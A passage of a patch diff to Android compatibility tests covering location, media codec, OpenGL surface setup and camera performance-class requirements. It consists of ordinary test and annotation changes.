@@ -111,6 +121,8 @@
verify(listener, timeout(10000)).onGeocode(anyList());
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName_sync() throws Exception {
assumeTrue(Geocoder.isPresent());
@@ -118,6 +130,8 @@
mGeocoder.getFromLocationName("Dalvik,Iceland", 5);
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName_badInput() {
GeocodeListener listener = mock(GeocodeListener.class);
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index a70065c..48d5946 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -34,6 +34,8 @@
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -54,6 +56,11 @@
}
@Test
+ @ApiTest(apis = {
+ "android.location.LocationManager#setLocationEnabledForUser",
+ "android.app.AppOpsManager#noteOpNoThrow",
+ "android.app.AppOpsManager#checkOpNoThrow",
+ })
public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
@@ -79,13 +86,17 @@
List<String> bypassedCheckOps = new ArrayList<>();
for (PackageInfo pi : pkgs) {
ApplicationInfo ai = pi.applicationInfo;
- if (ai.uid != Process.SYSTEM_UID) {
+ int appId = UserHandle.getAppId(ai.uid);
+ if (appId != Process.SYSTEM_UID) {
final int[] mode = {MODE_ALLOWED};
+ final boolean[] isProvider = {false};
runWithShellPermissionIdentity(() -> {
mode[0] = mAom.noteOpNoThrow(
OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+ isProvider[0] = mLm.isProviderPackage(null, pi.packageName, null);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)
+ && !isProvider[0]) {
bypassedNoteOps.add(pi.packageName);
}
@@ -95,10 +106,10 @@
mode[0] = mAom
.checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)
+ && !isProvider[0]) {
bypassedCheckOps.add(pi.packageName);
}
-
}
}
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index f03fa90..efa8441 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -135,9 +135,9 @@
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
"bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4",
- "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4",
- "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4",
"bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index 5f9aa09..c3a1b09 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -27,6 +27,8 @@
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Assert;
import org.junit.Assume;
import org.junit.Ignore;
@@ -95,9 +97,17 @@
* default 10-bit profiles, those are excluded from this test.
*/
@Test
+ // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+ // display capabilities at native level, till then limit the test to vendor codecs
+ @NonMediaMainlineTest
+ @ApiTest(apis = "MediaCodecInfo.CodecCapabilities#profileLevels")
public void testHDRDisplayCapabilities() {
Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+ Assume.assumeTrue("Test needs VNDK Android 13", VNDK_IS_AT_LEAST_T);
Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
+ // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+ // display capabilities at native level, till then limit the test to vendor codecs
+ Assume.assumeTrue("Test is restricted to vendor codecs", isVendorCodec(mCodecName));
int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
@@ -158,10 +168,10 @@
.noneMatch(x -> x == COLOR_FormatSurface));
}
- // For devices launching with Android T, if a codec supports an HDR profile, it must
- // advertise P010 support
+ // For devices launching with Android T, if a codec supports an HDR profile and device
+ // supports HDR display, it must advertise P010 support
int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
- if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) {
+ if (VNDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
for (CodecProfileLevel pl : caps.profileLevels) {
if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 0368d88..6065c5c 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -74,6 +74,7 @@
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_HdrEditing;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
@@ -600,6 +601,7 @@
ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
public static final boolean VNDK_IS_AT_LEAST_T =
SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
+ public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported();
private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
enum SupportClass {
CODEC_ALL, // All codecs must support
@@ -845,6 +847,22 @@
return isSupported;
}
+ static boolean isHDREditingSupported() {
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+ if (!codecInfo.isEncoder()) {
+ continue;
+ }
+ for (String mediaType : codecInfo.getSupportedTypes()) {
+ CodecCapabilities caps = codecInfo.getCapabilitiesForType(mediaType);
+ if (caps != null && caps.isFeatureSupported(FEATURE_HdrEditing)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) {
int[] profileArray = mProfileHdrMap.get(mime);
if (profileArray != null) {
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
index 96836e6..518ff86 100644
--- a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -28,6 +28,8 @@
import androidx.test.filters.LargeTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -334,6 +336,12 @@
* The OpenGL fragment shader reads the frame buffers as externl textures and renders to
* a pbuffer. The output RGB values are read and compared against the expected values.
*/
+ @ApiTest(apis = {"android.media.MediaCodec#dequeueOutputBuffer",
+ "android.media.MediaCodec#releaseOutputBuffer",
+ "android.media.MediaCodec.Callback#onOutputBufferAvailable",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_RANGE)",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_STANDARD)",
+ "android.media.MediaFormat#setInteger(KEY_COLOR_TRANSFER)"})
@LargeTest
@Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
@@ -364,6 +372,17 @@
mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+
+ // If device supports HDR editing, then GL_EXT_YUV_target extension support is mandatory
+ if (mUseYuvSampling) {
+ String message = "Device doesn't support EXT_YUV_target GL extension";
+ if (IS_AT_LEAST_T && IS_HDR_EDITING_SUPPORTED) {
+ assertTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+ } else {
+ assumeTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+ }
+ }
+
mSurface = mEGLWindowOutSurface.getSurface();
mCodec = MediaCodec.createByCodecName(mCompName);
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index b11343c..ebed139 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -55,9 +55,10 @@
// qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
// so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
// skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
- // until QP stabilizes, the tolerance is set at 7.
- private final int TRANSIENT_STATE_COLOR_DELTA = 7;
- private final int STEADY_STATE_COLOR_DELTA = 5;
+ // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+ // relaxed to 8 and 10.
+ private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+ private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
private final int[][] mColorBars = new int[][]{
{66, 133, 244},
{219, 68, 55},
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index 03856a2..24dbc4d 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -22,10 +22,12 @@
import android.opengl.EGLContext;
import android.opengl.EGLDisplay;
import android.opengl.EGLSurface;
+import android.opengl.GLES20;
import android.util.Log;
import android.view.Surface;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
/**
@@ -58,6 +60,8 @@
private boolean mFrameAvailable;
private TextureRender mTextureRender;
+ private int mEGLESVersion;
+ private boolean mEXTYuvTargetSupported = false;
/**
* Creates an OutputSurface backed by a pbuffer with the specified dimensions. The new
@@ -76,6 +80,11 @@
eglSetup(width, height, useHighBitDepth, useYuvSampling);
makeCurrent();
+ if (mEGLESVersion > 2) {
+ String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS);
+ mEXTYuvTargetSupported = extensionList.contains("GL_EXT_YUV_target");
+ }
+
setup(this, useYuvSampling);
}
@@ -92,6 +101,13 @@
}
/**
+ * Returns if the device support GL_EXT_YUV_target extension
+ */
+ public boolean getEXTYuvTargetSupported() {
+ return mEXTYuvTargetSupported;
+ }
+
+ /**
* Creates instances of TextureRender and SurfaceTexture, and a Surface associated
* with the SurfaceTexture.
*/
@@ -101,7 +117,7 @@
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
mTextureRender = new TextureRender();
- mTextureRender.setUseYuvSampling(useYuvSampling);
+ mTextureRender.setUseYuvSampling(mEXTYuvTargetSupported && useYuvSampling);
mTextureRender.surfaceCreated();
// Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -162,13 +178,22 @@
}
// Configure context for OpenGL ES 3.0/2.0.
- int eglContextClientVersion = useYuvSampling ? 3: 2;
- int[] attrib_list = {
- EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
- EGL14.EGL_NONE
- };
- mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
- attrib_list, 0);
+ mEGLESVersion = useYuvSampling ? 3 : 2;
+ do {
+ int[] attrib_list = {
+ EGL14.EGL_CONTEXT_CLIENT_VERSION, mEGLESVersion,
+ EGL14.EGL_NONE
+ };
+ mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
+ attrib_list, 0);
+ // if OpenGL ES 3.0 isn't supported, attempt to create OpenGL ES 2.0 context
+ if (mEGLContext == EGL14.EGL_NO_CONTEXT && useYuvSampling) {
+ mEGLESVersion--;
+ } else {
+ break;
+ }
+ } while (mEGLESVersion > 1);
+
checkEglError("eglCreateContext");
if (mEGLContext == null) {
throw new RuntimeException("null context");
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index dcc8995..dc36e58 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -24,6 +24,11 @@
<option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index 327fb9c..d3fd292 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -20,6 +20,7 @@
import static org.junit.Assume.assumeTrue;
+import android.hardware.camera2.CameraMetadata;
import android.media.MediaFormat;
import android.os.Build;
@@ -849,7 +850,493 @@
}
}
- private <R extends Requirement> R addRequirement(R req) {
+ public static class PrimaryCameraRequirement extends Requirement {
+ private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
+ private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
+ private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
+ private static final String TAG = PrimaryCameraRequirement.class.getSimpleName();
+
+ private PrimaryCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setPrimaryCameraSupported(boolean hasPrimaryCamera) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_AVAILABLE,
+ hasPrimaryCamera);
+ }
+
+ public void setResolution(long resolution) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_RESOLUTION,
+ resolution);
+ }
+
+ public void setVideoSizeReqSatisfied(boolean videoSizeReqSatisfied) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED,
+ videoSizeReqSatisfied);
+ }
+
+ public void setVideoFps(double videoFps) {
+ this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS, videoFps);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-1] MUST have a primary rear facing camera with a resolution of at
+ * least 12 megapixels supporting video capture at 4k@30fps
+ */
+ public static PrimaryCameraRequirement createRearPrimaryCamera() {
+ RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+ .<Long>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+ .setPredicate(RequirementConstants.LONG_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.S, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+ .build();
+
+ RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Double> videoFps = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+ .build();
+
+ return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_1,
+ hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+ videoFps);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-2] MUST have a primary front facing camera with a resolution of
+ * at least 4 megapixels supporting video capture at 1080p@30fps.
+ */
+ public static PrimaryCameraRequirement createFrontPrimaryCamera() {
+ RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+ .<Long>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+ .setPredicate(RequirementConstants.LONG_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.S, MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+ .build();
+
+ RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, true)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ RequiredMeasurement<Double> videoFps = RequiredMeasurement
+ .<Double>builder()
+ .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+ .build();
+
+ return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_2,
+ hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+ videoFps);
+ }
+ }
+
+ public static class CameraTimestampSourceRequirement extends Requirement {
+ private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+ private static final int TIMESTAMP_REALTIME =
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME;
+
+ private CameraTimestampSourceRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearCameraTimestampSource(Integer timestampSource) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE,
+ timestampSource);
+ }
+
+ public void setFrontCameraTimestampSource(Integer timestampSource) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE,
+ timestampSource);
+ }
+ /**
+ * [2.2.7.2/7.5/H-1-4] MUST support CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME
+ * for both primary cameras.
+ */
+ public static CameraTimestampSourceRequirement createTimestampSourceReq() {
+ RequiredMeasurement<Integer> rearTimestampSource = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+ .build();
+ RequiredMeasurement<Integer> frontTimestampSource = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE)
+ .setPredicate(RequirementConstants.INTEGER_EQ)
+ .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+ .build();
+
+ return new CameraTimestampSourceRequirement(RequirementConstants.R7_5__H_1_4,
+ rearTimestampSource, frontTimestampSource);
+ }
+ }
+
+ public static class CameraLatencyRequirement extends Requirement {
+ private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+
+ private CameraLatencyRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearCameraLatency(float latency) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LATENCY, latency);
+ }
+
+ public void setFrontCameraLatency(float latency) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LATENCY, latency);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution
+ * as measured by the CTS camera PerformanceTest under ITS lighting conditions
+ * (3000K) for both primary cameras.
+ */
+ public static CameraLatencyRequirement createJpegLatencyReq() {
+ RequiredMeasurement<Float> rearJpegLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+ .build();
+ RequiredMeasurement<Float> frontJpegLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+ .build();
+
+ return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_5,
+ rearJpegLatency, frontJpegLatency);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first
+ * preview frame) < 600ms as measured by the CTS camera PerformanceTest under ITS lighting
+ * conditions (3000K) for both primary cameras.
+ */
+ public static CameraLatencyRequirement createLaunchLatencyReq() {
+ RequiredMeasurement<Float> rearLaunchLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+ .build();
+ RequiredMeasurement<Float> frontLaunchLatency = RequiredMeasurement
+ .<Float>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+ .setPredicate(RequirementConstants.FLOAT_LTE)
+ .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+ .build();
+
+ return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_6,
+ rearLaunchLatency, frontLaunchLatency);
+ }
+ }
+
+ public static class CameraRawRequirement extends Requirement {
+ private static final String TAG = CameraRawRequirement.class.getSimpleName();
+
+ private CameraRawRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearRawSupported(boolean rearRawSupported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED,
+ rearRawSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-8] MUST support CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW and
+ * android.graphics.ImageFormat.RAW_SENSOR for the primary back camera.
+ */
+ public static CameraRawRequirement createRawReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.S, true)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new CameraRawRequirement(RequirementConstants.R7_5__H_1_8, requirement);
+ }
+ }
+
+ public static class Camera240FpsRequirement extends Requirement {
+ private static final String TAG = Camera240FpsRequirement.class.getSimpleName();
+
+ private Camera240FpsRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRear240FpsSupported(boolean rear240FpsSupported) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED,
+ rear240FpsSupported);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-9] MUST have a rear-facing primary camera supporting 720p or 1080p @ 240fps.
+ */
+ public static Camera240FpsRequirement create240FpsReq() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new Camera240FpsRequirement(RequirementConstants.R7_5__H_1_9, requirement);
+ }
+ }
+
+ public static class UltraWideZoomRatioRequirement extends Requirement {
+ private static final String TAG =
+ UltraWideZoomRatioRequirement.class.getSimpleName();
+
+ private UltraWideZoomRatioRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setRearUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+ ultrawideZoomRatioReqMet);
+ }
+
+ public void setFrontUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+ ultrawideZoomRatioReqMet);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-10] MUST have min ZOOM_RATIO < 1.0 for the primary cameras if
+ * there is an ultrawide RGB camera facing the same direction.
+ */
+ public static UltraWideZoomRatioRequirement createUltrawideZoomRatioReq() {
+ RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
